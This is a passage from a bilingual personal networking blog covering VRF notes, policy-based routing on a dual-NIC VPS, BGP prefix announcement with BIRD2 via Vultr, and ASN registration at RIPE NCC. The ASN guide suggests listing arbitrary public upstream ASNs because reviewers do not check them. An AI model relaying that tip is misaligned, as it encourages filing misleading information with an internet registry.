PING 172.20.0.53 (172.20.0.53) from 172.20.234.225 dn42-vrf: 56(84) bytes of data.
64 bytes from 172.20.0.53: icmp_seq=1 ttl=64 time=3.18 ms
64 bytes from 172.20.0.53: icmp_seq=2 ttl=64 time=3.57 ms
64 bytes from 172.20.0.53: icmp_seq=3 ttl=64 time=3.74 ms
64 bytes from 172.20.0.53: icmp_seq=4 ttl=64 time=2.86 ms
^C
--- 172.20.0.53 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 2.863/3.337/3.740/0.341 ms

Important Notes

If the VRF device is reloaded, all devices originally associated with the VRF need to be reloaded as well, otherwise they won't function correctly.
Currently, DN42 cannot access services inside the host configured with VRF. A future article might explain how to allow traffic within the VRF to access host services (Adding to the TODO list).
I learned from a friend that by setting net.ipv4.tcp_l3mdev_accept=1 and net.ipv4.udp_l3mdev_accept=1, it is possible to allow the listening sockets in the global space to accept connection requests from the VRF domain, thus achieving cross-vrf listening services.

Reference Articles:：

Run your MPLS network with BIRD

通过PBR为双网卡VPS配置多出口路由

Sun, 14 Sep 2025 09:07:00 GMT

水文警告

背景

从朋友那里弄到一台深港IEPL机器，有两个网卡eth0和eth1，但是默认都走eth0，eth1没有配置路由。
我打算通过metric实现粗略的分流再通过PBR实现按照规则的路由配置。

配置

机器默认由cloudinit配置了网卡：

# This file is generated from information provided by the datasource.  Changes
# to it will not persist across an instance reboot.  To disable cloud-init's
# network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}
network:
    version: 2
    ethernets:
        eth0:
            addresses:
            - 10.10.1.31/16
            gateway4: 10.10.0.1
            match:
                macaddress: bc:24:11:f8:42:7a
            nameservers:
                addresses:
                - 223.5.5.5
                - 119.29.29.29
                search:
                - [数据删除]
            set-name: eth0
        eth1:
            addresses:
            - 10.20.1.31/16
            - [数据删除]/64
            gateway4: 10.20.0.1
            gateway6: fe80::be24:11ff:fe80:66bb
            match:
                macaddress: bc:24:11:50:96:0a
            nameservers:
                addresses:
                - 223.5.5.5
                - 119.29.29.29
                search:
                - [数据删除]
            set-name: eth1

备份一份配置之后加上metric：

# This file is generated from information provided by the datasource.  Changes
# to it will not persist across an instance reboot.  To disable cloud-init's
# network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}
network:
    version: 2
    ethernets:
        eth0:
            addresses:
            - 10.10.1.31/16
            gateway4: 10.10.0.1
            match:
                macaddress: bc:24:11:f8:42:7a
            nameservers:
                addresses:
                - 223.5.5.5
                - 119.29.29.29
                search:
                - [数据删除]
            set-name: eth0
+           routes:
+             - to: "default"
+               via: "10.10.0.1"
+               # 设置 metric=50，作为备选出口
+               metric: 50
        eth1:
            addresses:
            - 10.20.1.31/16
            - [数据删除]/64
            gateway4: 10.20.0.1
            gateway6: fe80::be24:11ff:fe80:66bb
            match:
                macaddress: bc:24:11:50:96:0a
            nameservers:
                addresses:
                - 223.5.5.5
                - 119.29.29.29
                search:
                - [数据删除]
            set-name: eth1
+           routes:
+             - to: "default"
+               via: "10.20.0.1"
+               # 设置 metric=25，作为优先出口
+               metric: 25

编写PBR配置：

# /etc/netplan/90-pbr.yaml
network:
  version: 2
  ethernets:
    eth0:
      routes:
        - to: default
          via: 10.10.0.1
          table: 10
      routing-policy:
        - from: 10.10.0.0/16
          table: 10
        - to: 202.46.[数据删除]/32
          table: 10
    eth1:
      routes:
        - to: default
          via: 10.20.0.1
          table: 20
      routing-policy:
        - from: 10.20.0.0/16
          table: 20
        - to: 38.47.[数据删除]/32
          table: 20
        - to: 23.149.[数据删除]/32
          table: 20

对于需要指定出口访问的IP为其加上to类型的规则并绑定对应路由表即可。

完成后运行

netplan apply

更新配置

Configuring Multi-Exit Routing for a Dual-NIC VPS Using PBR

Sun, 14 Sep 2025 09:07:00 GMT

Warning: This is a low-value/watered-down post

Background

I got a Shenzhen-Hong Kong IEPL machine from a friend. It has two network interfaces, eth0 and eth1, but by default, all traffic goes through eth0. eth1 had no routing configured. I planned to use metrics for basic traffic splitting initially, and then use PBR (Policy-Based Routing) to implement rule-based routing configuration.

Configuration

The machine's network was initially configured by cloud-init:

# This file is generated from information provided by the datasource. Changes
# to it will not persist across an instance reboot. To disable cloud-init's
# network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}
network:
    version: 2
    ethernets:
        eth0:
            addresses:
            - 10.10.1.31/16
            gateway4: 10.10.0.1
            match:
                macaddress: bc:24:11:f8:42:7a
            nameservers:
                addresses:
                - 223.5.5.5
                - 119.29.29.29
                search:
                - [REDACTED]
            set-name: eth0
        eth1:
            addresses:
            - 10.20.1.31/16
            - [REDACTED]/64
            gateway4: 10.20.0.1
            gateway6: fe80::be24:11ff:fe80:66bb
            match:
                macaddress: bc:24:11:50:96:0a
            nameservers:
                addresses:
                - 223.5.5.5
                - 119.29.29.29
                search:
                - [REDACTED]
            set-name: eth1

After backing up the config, I added metrics:

# This file is generated from information provided by the datasource. Changes
# to it will not persist across an instance reboot. To disable cloud-init's
# network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}
network:
    version: 2
    ethernets:
        eth0:
            addresses:
            - 10.10.1.31/16
            gateway4: 10.10.0.1
            match:
                macaddress: bc:24:11:f8:42:7a
            nameservers:
                addresses:
                - 223.5.5.5
                - 119.29.29.29
                search:
                - [REDACTED]
            set-name: eth0
+           routes:
+             - to: "default"
+               via: "10.10.0.1"
+               # Set metric=50 as the backup exit
+               metric: 50
        eth1:
            addresses:
            - 10.20.1.31/16
            - [REDACTED]/64
            gateway4: 10.20.0.1
            gateway6: fe80::be24:11ff:fe80:66bb
            match:
                macaddress: bc:24:11:50:96:0a
            nameservers:
                addresses:
                - 223.5.5.5
                - 119.29.29.29
                search:
                - [REDACTED]
            set-name: eth1
+           routes:
+             - to: "default"
+               via: "10.20.0.1"
+               # Set metric=25 as the preferred exit
+               metric: 25

Create the PBR configuration:

# /etc/netplan/90-pbr.yaml
network:
  version: 2
  ethernets:
    eth0:
      routes:
        - to: default
          via: 10.10.0.1
          table: 10
      routing-policy:
        - from: 10.10.0.0/16
          table: 10
        - to: 202.46.[REDACTED]/32
          table: 10
    eth1:
      routes:
        - to: default
          via: 10.20.0.1
          table: 20
      routing-policy:
        - from: 10.20.0.0/16
          table: 20
        - to: 38.47.[REDACTED]/32
          table: 20
        - to: 23.149.[REDACTED]/32
          table: 20

For IPs that need to be accessed via a specific exit, just add a 'to' type rule and bind it to the corresponding routing table.

After finishing, run

netplan apply

to update the configuration.

OneManISP - Ep.2 向世界宣告我们自己的IP段

Wed, 20 Aug 2025 15:59:00 GMT

前言

上文我们已经成功注册了一个ASN并且拿到了一段IPv6地址，这次我们就来将这段地址广播给全世界。

在RIPE Database设置子网对象

需要注意的是，公网允许广播的最小IPv6前缀是/48，也就是说你如果只有一个/48地址你无法将其拆成更小的段。所以我后来又单独租用了一段/40，打算将其拆成多个/48来广播。

我获取到的IPv6为2a14:7583:f200::/40，打算拆出来2a14:7583:f203::/48用于给Vultr使用。如果你不需要拆段，请直接跳转到「创建路由信息」一节

拆段

首先打开Create "inet6num" object - RIPE Database，填入如下内容：

inet6num: 打算拆出来的IP段，CIDR格式
netname: 网络名称
country: IP段所属国家，需要符合ISO 3166标准（RIPE DB里可以直接选择）
admin-c: 上文创建的Role对象的主键值
tech-c: 上文创建的Role对象的主键值
status: ASSIGNED即可

此步骤将你获得的地址拆出来一个小的/48地址块。

创建路由信息

打开Create "route6" object - RIPE Database，填入如下内容：

route6: 填写你打算广播播的IPv6地址块的CIDR格式
origin: 填写你申请到的ASN，包含AS前缀

此步骤声明允许你的ASN使用这段地址段来发BGP路由。

申请VPS的BGP Session接入

此次我使用的是Vultr家的机器，他们家的BGP Session算是很新手友好的了，有一套自己的验证系统；并且上游良好的过滤器保证了一般情况下即使发送了错误的路由表也不会影响到公网。

（此处我配置的时候忘记截图了，可以参考一下宝硕大佬的文章年轻人的第一个 ASN 中的 申请 Vultr 的 BGP 广播功能 章节）

进入BGP - Vultr.com，选择Get Started之后按照要求填写你的ASN信息和IPv6地址块。LOA（Letter Of Authorization，授权信）可参考以下模板：LOA-template.docx（因为发现网上查到的都是以公司的名义写的，因此以个人名义重新写了一份）

完成后系统会自动创建一条工单，并且能看到我们的ASN和IP地址块处于待验证的状态：
点击Start，系统会向注册Role时填写的abuse-mailbox邮箱发送一封验证邮件：
收到的邮件如图所示：
其中，上面那个链接代表同意授权Vultr广播你的IP段，下面那个则是不同意。我们点击上面那个之后会进入Vultr的网页：再点击Approve Announcement即可。ASN和IP段都需要验证一次。

接着，等待Vultr的工作人员审核完成后来到VPS的控制台，就能看到我们的BGP选项卡了，其中可以得到上游的信息：

此处不得不称赞一下Vultr的工单效率，我平均从创建工单申请授权到完成只花了10分钟左右。~~（反观之前在iFog GmbH，平均工作日工单回复时间1天左右实在是好太多了）~~

其他厂商的VPS大概都是这么个流程，你需要告诉工作人员你要播的ASN和IP段，在验证完所有权之后工作人员会为你配置对应的BGP Session。

广播！

你应该已经从上游那里得到了以下信息：

上游的ASN
上游用于BGP Session的地址
（可选）密码

我用的操作系统是Debian12 Bookworm，使用Bird2作为路由软件，并且按照这篇文章中「更新Bird2至v2.16及以上」章节更新Bird2至最新版。Vultr那边给我的上游ASN是64515，上游用于BGP Session的地址是2001:19f0:ffff::1，VPS用于BGP Session的地址是2001:19f0:0006:0ff5:5400:05ff:fe96:881f。

我的Bird2配置文件修改自DN42中的配置文件：

log syslog all;
define OWNAS       = 205369;                   # 自己的ASN
define OWNIPv6     = 2a14:7583:f203::1;        # 给机器绑定的单个IPv6地址
define OWNNETv6    = 2a14:7583:f203::/48;      # 打算播的网段
define OWNNETSETv6 = [ 2a14:7583:f203::/48+ ]; # 打算播的网段集合

router id 45.77.x.x;                           # 路由器ID，这里使用VPS的公网IPv4

protocol device {
    scan time 10;
}

function is_self_net_v6() {
    return net ~ OWNNETSETv6;
}

protocol kernel {
    scan time 20;

    ipv6 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = OWNIPv6;
            accept;
        };
    };
};

protocol static {
    route OWNNETv6 reject;

    ipv6 {
        import all;
        export none;
    };
}

template bgp upstream {
    local as OWNAS;
    path metric 1;
    multihop; # 指定多跳

    ipv6 {
        import filter {
            if net ~ [::/0] then reject; # 拒绝导入默认路由
            accept;
        };
        export filter {
            if is_self_net_v6() then accept; # 仅导出自己网段内的路由，防止劫持
            reject;
        };
        import limit 1000 action block;
    };

    graceful restart; 
}

protocol bgp 'Vultr_v6' from upstream{
    local 2001:19f0:0006:0ff5:5400:05ff:fe96:881f as OWNAS; # local后面的地址即上游给的用于BGP Session的VPS上的地址
    password "123456"; # 上游给你的BGP密码，若没密码就将这一行删除
    neighbor 2001:19f0:ffff::1 as 64515; # 上游的BGP Session IP和ASN
}

几个值得注意的点：

此处upstream模板的导入规则拒绝了 默认路由 ，这样写可以防止上游发来的路由表覆盖掉本地的默认网关等路由信息。如果我们有多个BGP邻居，则可能导致绕路甚至路由环路。
upstream中指定了多跳（multihop;），这是因为Vultr的BGP对端不能直达，若不设置多跳则会导致BGP会话卡在Idle状态。如果你的BGP上游是直连，可以不设置此行或者改为direct;。

填写完配置文件，运行birdc configure载入配置。运行birdc show protocols查看状态，如果不出意外的话应该能看到BGP会话已经Established：

这个时候，你可以起身做点别的事情，等待全球路由收敛。大概半个小时之后，打开bgp.tools，查询自己的/48段，应该就能看到已经成功被全球互联网收敛，并且能看到我们的上游信息：

接着，我们在VPS上创建一个dummy网卡，并绑定我们为这个机器设置的段内的单个IPv6地址，如我给我这台机器分配了2a14:7583:f203::1：

ip link add dummy0 type dummy
ip addr add 2a14:7583:f203::1/128 dev dummy0

接着使用我们自己的PC ping这个地址就能通了，traceroute也能看到完整路由路径：

感谢米露大佬提供的技术支持！参考文章：

OneManISP - Ep.2 Announcing Our Own IP Prefix to the World

Wed, 20 Aug 2025 15:59:00 GMT

Preface

In the previous article, we successfully registered an ASN and obtained an IPv6 address block. Now, we will announce this block to the world.

Setting Up the Subnet Object in the RIPE Database

It's important to note that the minimum IPv6 prefix allowed for announcement on the public internet is /48. This means if you only have a single /48 block, you cannot break it down into smaller segments. Therefore, I later leased a separate /40 block, intending to split it into multiple /48s for announcement.

The IPv6 block I obtained is 2a14:7583:f200::/40, and I plan to split out 2a14:7583:f203::/48 for use with Vultr. If you don't need to split your block, please skip directly to the "Creating the Route Object" section.

Splitting the Prefix

First, go to Create "inet6num" object - RIPE Database and fill in the following:

inet6num: The IP block you want to split out, in CIDR format.
netname: Network name.
country: The country to which the IP block belongs, must conform to the ISO 3166 standard (can be selected directly in the RIPE DB).
admin-c: The primary key value of the Role object created earlier.
tech-c: The primary key value of the Role object created earlier.
status: Keep ASSIGNED

This step splits a smaller /48 address block from your obtained allocation.

Creating the Route Object

Go to Create "route6" object - RIPE Database and fill in the following:

route6: The IPv6 address block you intend to announce, in CIDR format.
origin: The ASN you applied for, including the 'AS' prefix.

This step declares that your ASN is permitted to use this address block for originating BGP routes.

Applying for BGP Session with a VPS Provider

This time I'm using a machine from Vultr. Their BGP Session setup is very beginner-friendly, with their own validation system. Furthermore, their upstream has good filters ensuring that incorrect route advertisements generally won't affect the public internet.

(I forgot to take screenshots during my configuration, but you can refer to the section 申请 Vultr 的 BGP 广播功能 in Bao Shuo's article 年轻人的第一个 ASN for reference.)

Go to BGP - Vultr.com, select Get Started, and fill in your ASN and IPv6 block information as required. For the LOA (Letter Of Authorization), you can refer to this template: LOA-template.docx (I rewrote one for individuals as most templates found online are for companies).

After submission, the system will automatically create a ticket, and you will see your ASN and IP block in a pending verification state:
Click Start, and the system will send a verification email to the abuse-mailbox email address registered with your Role object:

The received email looks like this:

The top link represents approving the authorization for Vultr to announce your IP block, and the bottom one is for disapproval. Click the top link, which will take you to Vultr's webpage:

Then click Approve Announcement. Both the ASN and the IP block need to be verified once.

Next, wait for the Vultr staff to review and complete the process. Then, in your VPS control panel, you will see the BGP tab, where you can find the upstream information:

I must commend Vultr's ticket efficiency here; it took me an average of only about 10 minutes from creating the ticket requesting authorization to completion. ~~(In contrast, the average weekday ticket response time at iFog GmbH was around 1 day, which is much slower in comparison).~~

The process with other VPS providers is generally similar. You need to inform their staff of the ASN and IP block you want to announce. After verifying ownership, the staff will configure the corresponding BGP Session for you.

Advertisement!

You should have received the following information from your upstream:

Upstream's ASN
Upstream's IP address for the BGP Session
(Optional) Password

The operating system I use is Debian 12 Bookworm, using Bird2 as the routing software. I updated Bird2 to the latest version following the section "Update Bird2 to v2.16 or above" in this article. The upstream ASN Vultr gave me is 64515, the upstream BGP Session address is 2001:19f0:ffff::1, and the VPS's BGP Session address is 2001:19f0:0006:0ff5:5400:05ff:fe96:881f.

My Bird2 configuration file is modified from the configuration file used in DN42:

log syslog all;
define OWNAS       = 205369; 
define OWNIPv6     = 2a14:7583:f203::1; 
define OWNNETv6    = 2a14:7583:f203::/48; 
define OWNNETSETv6 = [ 2a14:7583:f203::/48+ ];

router id 45.77.x.x; 

protocol device {
    scan time 10;
}

function is_self_net_v6() {
    return net ~ OWNNETSETv6;
}

protocol kernel {
    scan time 20;

    ipv6 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = OWNIPv6;
            accept;
        };
    };
};

protocol static {
    route OWNNETv6 reject;

    ipv6 {
        import all;
        export none;
    };
}

template bgp upstream {
    local as OWNAS;
    path metric 1;
    multihop; 

    ipv6 {
        import filter {
            if net ~ [::/0] then reject;
            accept;
        };
        export filter {
            if is_self_net_v6() then accept;
            reject;
        };
        import limit 1000 action block;
    };

    graceful restart; 
}

protocol bgp 'Vultr_v6' from upstream{
    local 2001:19f0:0006:0ff5:5400:05ff:fe96:881f as OWNAS;
    password "123456";
    neighbor 2001:19f0:ffff::1 as 64515;
}

A few noteworthy points:

The import rule in the upstream template here rejects the default route. This prevents the routing table sent by the upstream from overwriting local default gateway routes and other routing information. If we have multiple BGP neighbors, this could cause detours or even routing loops.
The upstream template specifies multihop (multihop;) because Vultr's BGP peer is not directly reachable. Without setting multihop, the BGP session would get stuck in the Idle state. If your BGP upstream is directly connected, you can omit this line or set it to direct;.

After filling in the configuration file, run birdc configure to load the configuration.
Run birdc show protocols to check the status. If all goes well, you should see the BGP session state as Established:

At this point, you can take a break and wait for global routing convergence. After about half an hour, open bgp.tools and query your /48 block. You should see that it has been successfully received by the global internet, and you can see our upstream information:

Next, we create a dummy interface on the VPS and assign a single IPv6 address from the block allocated for this machine. For example, I assigned 2a14:7583:f203::1 to my machine:

ip link add dummy0 type dummy
ip addr add 2a14:7583:f203::1/128 dev dummy0

Then, using your own PC, you should be able to ping this address, and traceroute will show the complete routing path:

Thanks to Mi Lu for the technical support!
Reference Articles:

OneManISP - Ep.1 注册一个ASN

Mon, 18 Aug 2025 09:49:00 GMT

写在前面

本文记录了我在RIPE NCC申请ASN的完整过程，内容适合入门者参考，若有错误欢迎邮件联系我，我会在第一时间更正。

~~既然已经在DN42上学习了基本的BGP概念，不玩玩公网的有点说不过去吧（~~

基本概念

目前公网ASN和IP资源分配由世界上5个 区域互联网注册管理机构（Regional Internet registry, RIR） 管理：

ARIN: 负责管理北美地区
RIPE NCC: 负责管理欧洲地区
APNIC: 亚洲地区
LACNIC: 拉丁美洲地区
AfriNIC: 非洲地区

RIR不直接对个人用户提供服务，而是通过将资源授权给 本地互联网注册管理机构（Local Internet Registry, LIR） ，再由LIR授权给个人。当然，个人用户也可以注册成为LIR，但是这一般而言一般是不划算的。 ~~如果你愿意每年交几千美元作为会费的话当我没说。~~

其中，对个人申请比较友好的是RIPE NCC，其次是ARIN和APNIC。相较于RIPE NCC，APNIC的费用普遍要高30%左右；并且RIPE NCC提供了一套在线管理系统，用户可以自己修改信息、查询进度，而在APNIC则需要联系LIR处理。综合而言，我选择在RIPE NCC申请ASN。

申请到的资源（ASN、IP都算）一般分为两种：

PA（Provider Aggregatable）资源: 属于LIR，由LIR注册授权给你用的资源
PI（Provider Independent）资源: 属于你自己的资源，一般而言价格较高

准备阶段

选择一个LIR

上网查询LIR Service，可以找到很多提供这类服务的商家。目前RIPE NCC会向PI资源收取一年50EUR的管理费用，也就是说一般而言LIR注册ASN的费用不会低于50EUR（截至文章发布，大概60USD）一年。此处我选择的群友推荐的NoPKT LLC，价格算是比较合理的并且随ASN附赠一段/48 PA IPv6地址，实测下号速度也很快，从提交完材料到下号只用了半天。

准备材料

身份证明

个人：提供身份证或者护照都可以（我提供的身份证正反面照片）
企业：提供有效的营业执照

若申请人为未成年人，通常需要其法定监护人提供书面同意书并履行相应监护职责。所有提交的文件应确保真实有效，且必须是原件或经过公证的副本。

联系信息

通信地址，被用于登记在RIPE Database
技术人员邮箱
滥用举报邮箱

技术要求证明

欧洲范围内的BGP服务商开具的账单，可以选择Vultr、BuyVM、iFog、V.PS等。注：Vultr是先用后付制，每月初出账单。如果你着急备好材料，建议选择其他家。
两个你打算接入的上游的ASN（实际上审核方不会严格验证你填写的上游ASN，因此可以随意填写，但建议填写一些常见的公开ASN以显得合理，不用过多纠结。 ~~甚至填我的也行~~ ）

注册RIPE DB账户并创建条目

打开RIPE Database并注册一个账户。此处填写姓名时建议填写你自己的真实姓名的拼音，并且强制要求开启2FA，请提前在手机上安装TOTP软件。

创建Role对象和Maintainer对象

打开Create role and maintainer pair - RIPE Database，创建一个role对象。此处role为一个抽象概念，用来描述一个团队、部门或者职能角色的联系方式，代指一个角色，比如 NOC (Network Operations Center)、Abuse Team、Hostmaster 等。

mntner: maintainer对象的标识符，可包含大小写字母、数字、-_。例如我填写的是IYOROY-MNT
role: role对象的名称，可包含大小写字母、数字、][)(._"*@,&:!'+/-。例如我填写的是IYOROY-NETWORK-NOC
address: 此role对象的办公地址
e-mail: 此role的电子邮件地址

填写完成后SUBMIT即可创建role对象和maintainer对象。请记录下返回的主键名称，一般以-RIPE结尾，后续修改信息及提交到LIR需要用到。

此处maintainer对象标识符和role对象有所区别，前者意为谁有权限维护数据库中的对象（即写入/修改/删除权限控制），是维护者实体。关于RIPE Database中各个概念之间的归属，可参考文章后部的示意图。

添加滥用举报邮箱

打开Query - RIPE Database，查询刚刚获得的role主键名称，可以查询到刚刚创建的条目。点击右侧Update Object。

点击e-mail栏右侧的加号，创建一个abuse-mailbox属性，并且填入你的滥用举报邮箱：

SUBMIT保存。

注：RIPE会定时检查滥用举报邮箱是否可用，请务必填写真实的邮箱地址

创建Organization对象

此处Organization对象是法律实体或组织（公司、大学、ISP、个人用户等）的抽象，是 RIPE Database 里资源对象（比如aut-num、inetnum、inet6num）的上层归属信息，也就是说后续的ASN、IP资源都将授权给Organization对象。

打开Create Organization - RIPE Database，填写如下信息：

organisation: 唯一ID，保留为默认的AUTO-1即代表由RIPE NCC分配。
org-name: 组织的名称。如果是个人用户注册则需要填写你自己的姓名拼音全称。
address: 通信地址。
country: 国家代码，参考ISO 3166。中国就填写CN
e-mail: 组织的电子邮件。
admin-c / tech-c: 联系对象（引用 role 的 handle）。
abuse-c: 指定abuse联系方式（必须是一个role对象，链接到role对象中的abuse-mailbox）。
mnt-ref: 指定可以创建引用该organisation的对象的维护者。
mnt-by: 谁能维护这个organisation本身。

填写完SUBMIT，并记下返回的对象标识符，类似于ORG-XXXX-RIPE的格式。

如果你在提交后发现需要修改，去Query - RIPE Database查找刚刚记录下的Role主键或者组织的对象标识符即可找到修改入口。

支付LIR费用并且提交材料

将以下材料提交给你的LIR：

身份证明

姓名
地址，推荐证件地址
身份证正反面照片

RIPE Database信息

org: 组织对象标识符
as-name: AS名称
admin-c: 上面创建的role对象主键
tech-c: 上面创建的role对象主键
abuse-c: 上面创建的role对象主键
nic-handle: 上面创建的role对象主键
mnt-by: 上面创建的maintainer对象名称

技术要求证明

VPS账单
上游的ASN

LIR会要求你在你的Organization里添加一条mnt-ref，指向LIR的维护者，这样LIR那边才能够将AS和IP等资源授权到你的Organization。LIR那边审核没问题之后会将请求提交到RIPE，接着就是等待。一般而言需要3-5个工作日即可下号。

自此，我们已经在公网上注册了属于我们自己的ASN。

补充：RIPE Database中各个概念之间的关系

graph LR
    %% ========== ORG 层 ==========
    subgraph Org["Organisation"]
        ORG["organisation\n(ORG-XXX-RIPE)"]
    end
    
    %% ========== 资源层 ==========
    subgraph Resource["资源"]
        INETNUM["inetnum\n(IPv4 段)"]
        INET6NUM["inet6num\n(IPv6 段)"]
        AUTNUM["aut-num\n(ASN)"]
        ASSET["as-set\n(ASN 集合)"]
    end
    
    %% ========== 路由层 ==========
    subgraph Routing["路由"]
        ROUTE["route\n(IPv4 前缀公告)"]
        ROUTE6["route6\n(IPv6 前缀公告)"]
    end

    %% ========== 联系人层 ==========
    subgraph Contact["联系人"]
        ROLE["role\n(团队/职能)\nnic-hdl"]
        PERSON["person\n(个人)\nnic-hdl"]
    end

    %% ========== 权限层 ==========
    subgraph Maintainer["权限"]
        MNT["mntner\n(维护者)"]
    end
    
    %% ========== 联系 ==========
    INETNUM --> ROLE
    INET6NUM --> ROLE
    AUTNUM --> ROLE
    ASSET --> ROLE
    ROUTE --> ROLE
    ROUTE6 --> ROLE

    ROLE --> PERSON

    %% ========== 组织归属 ==========
    ORG --> INETNUM
    ORG --> INET6NUM
    ORG --> AUTNUM
    ORG --> ASSET


    %% ========== 权限 ==========
    ORG --> MNT
    INETNUM --> MNT
    INET6NUM --> MNT
    AUTNUM --> MNT
    ASSET --> MNT
    ROUTE --> MNT
    ROUTE6 --> MNT
    ROLE --> MNT
    PERSON --> MNT

    %% ========== 路由绑定 ==========
    ROUTE -->|origin| AUTNUM
    ROUTE6 -->|origin| AUTNUM

    %% ========== 路由范围 ==========
    ROUTE -->|属于| INETNUM
    ROUTE6 -->|属于| INET6NUM

特别感谢米露大佬提供部分技术支持和答疑解惑！

参考文章：

OneManISP - Ep.1 Registering an ASN

Mon, 18 Aug 2025 09:49:00 GMT

Introduction

This article documents my complete process of applying for an ASN through the RIPE NCC. The content is suitable for beginners. If you find any errors, please feel free to contact me via email, and I will correct them promptly.

~~Now that we've learned the basic BGP concepts on DN42, it seems a bit of a waste not to play with the public internet, right?~~

Basic Concepts

Currently, the allocation of public ASN and IP resources is managed by five Regional Internet Registries (RIRs) worldwide:

ARIN: Manages the North American region.
RIPE NCC: Manages the European region.
APNIC: Manages the Asia-Pacific region.
LACNIC: Manages the Latin American region.
AfriNIC: Manages the African region.

RIRs do not provide services directly to end users. Instead, they allocate resources to Local Internet Registries (LIRs), which then assign them to end users. Of course, individual users can also register as an LIR, but this is generally not cost-effective. ~~If you're willing to pay thousands of dollars in annual fees, then forget I said that.~~

Among these, RIPE NCC is considered more friendly towards individual applications, followed by ARIN and APNIC. Compared to RIPE NCC, APNIC's fees are generally about 30% higher. Furthermore, RIPE NCC provides an online management system allowing users to modify information and check progress themselves, whereas with APNIC, you typically need to contact an LIR for changes. Overall, I chose to apply for an ASN through the RIPE NCC.

The resources obtained (both ASN and IPs) are generally categorized into two types:

PA (Provider Aggregatable) Resources: Belong to the LIR and are assigned for your use by the LIR.
PI (Provider Independent) Resources: Belong to you directly. These are generally more expensive.

Preparation Stage

Choosing an LIR

Search online for LIR Service to find many companies offering such services. Currently, RIPE NCC charges an annual administrative fee of 50 EUR for PI resources. This means the cost from an LIR for registering an ASN generally won't be lower than 50 EUR per year (approximately 60 USD at the time of writing). Here, I chose NoPKT LLC, recommended by peers. Their pricing is quite reasonable and includes a /48 block of PA IPv6 addresses with the ASN. The activation speed was also very fast – it only took half a day from submitting the required documents to getting the ASN.

Preparing Documents

Proof of Identity

Individual: Provide an ID card or passport (I submitted photos of the front and back of my national ID card).
Company: Provide a valid business license.

If the applicant is a minor, usually written consent from their legal guardian is required, and the guardian must fulfill corresponding responsibilities. All submitted documents must be authentic and valid, and should be originals or notarized copies.

Contact Information

Postal Address: Used for registration in the RIPE Database.
Technical Contact Email.
Abuse Contact Email.

Technical Justification

Billing from a BGP-capable provider within the European region. Options include Vultr, BuyVM, iFog, V.PS, etc.
Note: Vultr uses a post-payment system, generating invoices at the beginning of the month. If you need the documents ready quickly, consider other providers.
ASNs of two upstream providers you plan to connect to. (In practice, the reviewers won't strictly verify the specific upstream ASNs you list. Therefore, you can fill in common, publicly known ASNs to make it look reasonable. Don't overthink it too much. ~~You can even put mine.~~)

Registering a RIPE DB Account and Creating Objects

Go to the RIPE Database and register an account. For Chinese, it's recommended to use the 拼音(Pinyin) of your real legal name. Enabling 2FA is mandatory, so please install a TOTP app on your phone beforehand.

Creating a Role Object and Maintainer Object

Go to Create role and maintainer pair - RIPE Database to create a role object.
Here, a 'role' is an abstract concept describing the contact information for a team, department, or functional role – it represents a role, such as NOC (Network Operations Center), Abuse Team, Hostmaster, etc.

mntner: The identifier for the maintainer object. It can contain uppercase/lowercase letters, numbers, and -_. For example, I used IYOROY-MNT.
role: The name for the role object. It can contain uppercase/lowercase letters, numbers, and ][)(._"*@,&:!'+/-. For example, I used IYOROY-NETWORK-NOC.
address: The office address for this role.
e-mail: The email address for this role.

Click SUBMIT after filling out the form to create both the role object and the maintainer object. Please note the returned primary key name, which usually ends with -RIPE. You will need this for future modifications and submissions to the LIR.

The maintainer object identifier here is conceptually different from the role object. The maintainer signifies who has the authority to maintain (create/modify/delete) objects in the database – it's the maintaining entity. The relationship between different concepts in the RIPE Database can be referenced in the diagram later in the article.

Adding an Abuse Contact Mailbox

Go to Query - RIPE Database and search for the primary key of the role you just created. You should find the entry you created. Click "Update Object" on the right.

Click the plus sign (+) next to the email field to add an abuse-mailbox attribute and fill in your abuse contact email address:

Click SUBMIT to save.

Note: RIPE periodically checks if the abuse-mailbox is functional. Please ensure you provide a real, active email address.

Creating an Organization Object

The Organization object here is an abstraction of a legal entity or organization (company, university, ISP, individual user, etc.). It serves as the top-level ownership information for resource objects (like aut-num, inetnum, inet6num) in the RIPE Database. This means subsequent ASN and IP resources will be assigned to this Organization object.

Go to Create Organization - RIPE Database and fill in the following information:

organisation: A unique ID. Keep it as the default AUTO-1 to let RIPE NCC assign one.
org-name: The name of the organization. For Chinese individuals, use your full name in Pinyin.
address: Postal address.
country: Country code, refer to ISO 3166. For China, use CN.
e-mail: The organization's email address.
admin-c / tech-c: Administrative and technical contact objects (referencing the role handle).
abuse-c: Specifies the abuse contact (must be a role object linked to the abuse-mailbox in that role).
mnt-ref: Specifies which maintainer(s) can create objects referencing this organisation.
mnt-by: Specifies who can maintain this organisation object itself.

Click SUBMIT after filling out the form and note the returned object identifier, which follows a format like ORG-XXXX-RIPE.

If you need to make changes after submission, go to Query - RIPE Database and search for the previously noted Role primary key or the Organization object identifier to find the update option.

Paying the LIR Fee and Submitting Documents

Submit the following documents to your chosen LIR:

Proof of Identity

Full Name
Address (recommended to match your ID document)
Photos of the front and back of your ID card

RIPE Database Information

org: Organization object identifier
as-name: AS Name
admin-c: Primary key of the role object created earlier
tech-c: Primary key of the role object created earlier
abuse-c: Primary key of the role object created earlier
nic-hdl: Primary key of the role object created earlier
mnt-by: Name of the maintainer object created earlier

Technical Justification

VPS Bill/Invoice
Upstream ASNs

The LIR will likely ask you to add a mnt-ref attribute to your Organization object, pointing to the LIR's maintainer. This allows the LIR to assign the AS and IP resources to your Organization. Once the LIR reviews and approves your application, they will submit the request to RIPE. Then, it's a waiting game. Generally, it takes 3-5 working days to get your ASN.

At this point, we have successfully registered our own ASN on the public internet.

Supplement: Relationships Between Concepts in the RIPE Database

graph LR
    %% ========== ORG Layer ==========
    subgraph Org["Organisation"]
        ORG["organisation\n(ORG-XXX-RIPE)"]
    end
